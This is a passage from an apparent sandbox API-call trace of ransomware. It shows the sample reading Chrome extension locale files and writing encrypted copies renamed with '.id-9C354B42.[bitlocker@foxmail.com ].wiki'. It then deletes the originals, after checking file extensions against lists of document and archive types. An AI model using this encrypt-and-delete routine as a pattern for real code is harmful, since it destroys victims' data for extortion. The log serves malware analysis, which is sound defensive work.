Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json") returned 151 [0176.679] lstrlenW (lpString=".jpg") returned 4 [0176.679] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.679] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.679] lstrlenW (lpString="messages.json") returned 13 [0176.679] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_ca\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0176.680] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=210) returned 1 [0176.680] CloseHandle (hObject=0x1ac) returned 1 [0176.680] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_ca\\messages.json")) returned 0x2020 [0176.680] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_ca\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.680] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0176.680] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.680] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.680] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_ca\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0176.681] GetLastError () returned 0x0 [0176.681] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xd2, lpOverlapped=0x0) returned 1 [0176.682] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0176.682] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.682] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.683] SetEndOfFile (hFile=0x1a0) returned 1 [0176.683] CloseHandle (hObject=0x1a0) returned 1 [0176.683] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.683] SetEndOfFile (hFile=0x1ac) returned 1 [0176.684] CloseHandle (hObject=0x1ac) returned 1 [0176.684] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.684] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_ca\\messages.json")) returned 1 [0176.684] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json") returned 154 [0176.684] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json") returned 154 [0176.684] lstrlenW (lpString=".doc") returned 4 [0176.684] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.684] lstrlenW (lpString=".docx") returned 5 [0176.684] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.684] lstrlenW (lpString=".pdf") returned 4 [0176.684] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.684] lstrlenW (lpString=".xls") returned 4 [0176.684] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.684] lstrlenW (lpString=".xlsx") returned 5 [0176.685] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.685] lstrlenW (lpString=".ppt") returned 4 [0176.685] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.685] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json") returned 154 [0176.685] lstrlenW (lpString=".zip") returned 4 [0176.685] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.685] lstrlenW (lpString=".rar") returned 4 [0176.685] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.685] lstrlenW (lpString=".bz2") returned 4 [0176.685] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.685] lstrlenW (lpString=".7z") returned 3 [0176.685] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.685] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json") returned 154 [0176.685] lstrlenW (lpString=".dbf") returned 4 [0176.685] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.685] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json") returned 154 [0176.685] lstrlenW (lpString=".1cd") returned 4 [0176.685] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.685] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json") returned 154 [0176.685] lstrlenW (lpString=".jpg") returned 4 [0176.685] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.685] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json") returned 154 [0176.685] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json") returned 154 [0176.685] lstrlenW (lpString=".doc") returned 4 [0176.685] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.685] lstrlenW (lpString=".docx") returned 5 [0176.685] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.685] lstrlenW (lpString=".pdf") returned 4 [0176.685] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.685] lstrlenW (lpString=".xls") returned 4 [0176.686] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.686] lstrlenW (lpString=".xlsx") returned 5 [0176.686] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.686] lstrlenW (lpString=".ppt") returned 4 [0176.686] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.686] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json") returned 154 [0176.686] lstrlenW (lpString=".zip") returned 4 [0176.686] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.686] lstrlenW (lpString=".rar") returned 4 [0176.686] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.686] lstrlenW (lpString=".bz2") returned 4 [0176.686] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.686] lstrlenW (lpString=".7z") returned 3 [0176.686] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.686] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json") returned 154 [0176.686] lstrlenW (lpString=".dbf") returned 4 [0176.686] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.686] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json") returned 154 [0176.686] lstrlenW (lpString=".1cd") returned 4 [0176.686] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.686] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json") returned 154 [0176.686] lstrlenW (lpString=".jpg") returned 4 [0176.686] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.686] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.686] lstrlenW (lpString="messages.json") returned 13 [0176.687] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0176.887] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=172) returned 1 [0176.887] CloseHandle (hObject=0x334) returned 1 [0176.887] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json")) returned 0x2020 [0176.887] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.887] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0176.887] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.887] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.888] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0176.888] GetLastError () returned 0x0 [0176.888] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xac, lpOverlapped=0x0) returned 1 [0176.889] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0176.890] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.890] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.890] SetEndOfFile (hFile=0x1a4) returned 1 [0176.890] CloseHandle (hObject=0x1a4) returned 1 [0176.890] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.890] SetEndOfFile (hFile=0x334) returned 1 [0176.891] CloseHandle (hObject=0x334) returned 1 [0176.891] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.891] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json")) returned 1 [0176.892] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json") returned 151 [0176.892] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json") returned 151 [0176.892] lstrlenW (lpString=".doc") returned 4 [0176.892] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.892] lstrlenW (lpString=".docx") returned 5 [0176.892] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.892] lstrlenW (lpString=".pdf") returned 4 [0176.892] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.892] lstrlenW (lpString=".xls") returned 4 [0176.892] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.892] lstrlenW (lpString=".xlsx") returned 5 [0176.892] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.892] lstrlenW (lpString=".ppt") returned 4 [0176.892] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.892] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json") returned 151 [0176.892] lstrlenW (lpString=".zip") returned 4 [0176.892] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.892] lstrlenW (lpString=".rar") returned 4 [0176.892] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.892] lstrlenW (lpString=".bz2") returned 4 [0176.892] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.892] lstrlenW (lpString=".7z") returned 3 [0176.892] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.892] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json") returned 151 [0176.892] lstrlenW (lpString=".dbf") returned 4 [0176.893] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.893] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json") returned 151 [0176.893] lstrlenW (lpString=".1cd") returned 4 [0176.893] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.893] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json") returned 151 [0176.893] lstrlenW (lpString=".jpg") returned 4 [0176.893] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.893] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json") returned 151 [0176.893] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json") returned 151 [0176.893] lstrlenW (lpString=".doc") returned 4 [0176.893] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.893] lstrlenW (lpString=".docx") returned 5 [0176.893] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.893] lstrlenW (lpString=".pdf") returned 4 [0176.893] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.893] lstrlenW (lpString=".xls") returned 4 [0176.893] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.893] lstrlenW (lpString=".xlsx") returned 5 [0176.893] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.893] lstrlenW (lpString=".ppt") returned 4 [0176.893] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.893] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json") returned 151 [0176.893] lstrlenW (lpString=".zip") returned 4 [0176.893] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.893] lstrlenW (lpString=".rar") returned 4 [0176.893] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.893] lstrlenW (lpString=".bz2") returned 4 [0176.893] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.893] lstrlenW (lpString=".7z") returned 3 [0176.894] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.894] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json") returned 151 [0176.894] lstrlenW (lpString=".dbf") returned 4 [0176.894] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.894] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json") returned 151 [0176.894] lstrlenW (lpString=".1cd") returned 4 [0176.894] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.894] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json") returned 151 [0176.894] lstrlenW (lpString=".jpg") returned 4 [0176.894] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.894] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.894] lstrlenW (lpString="messages.json") returned 13 [0176.894] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0176.895] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=182) returned 1 [0176.895] CloseHandle (hObject=0x334) returned 1 [0176.895] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json")) returned 0x2020 [0176.895] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.895] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0176.895] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.895] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.895] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json.id-9c354b42.[bitlocker@foxmail.com 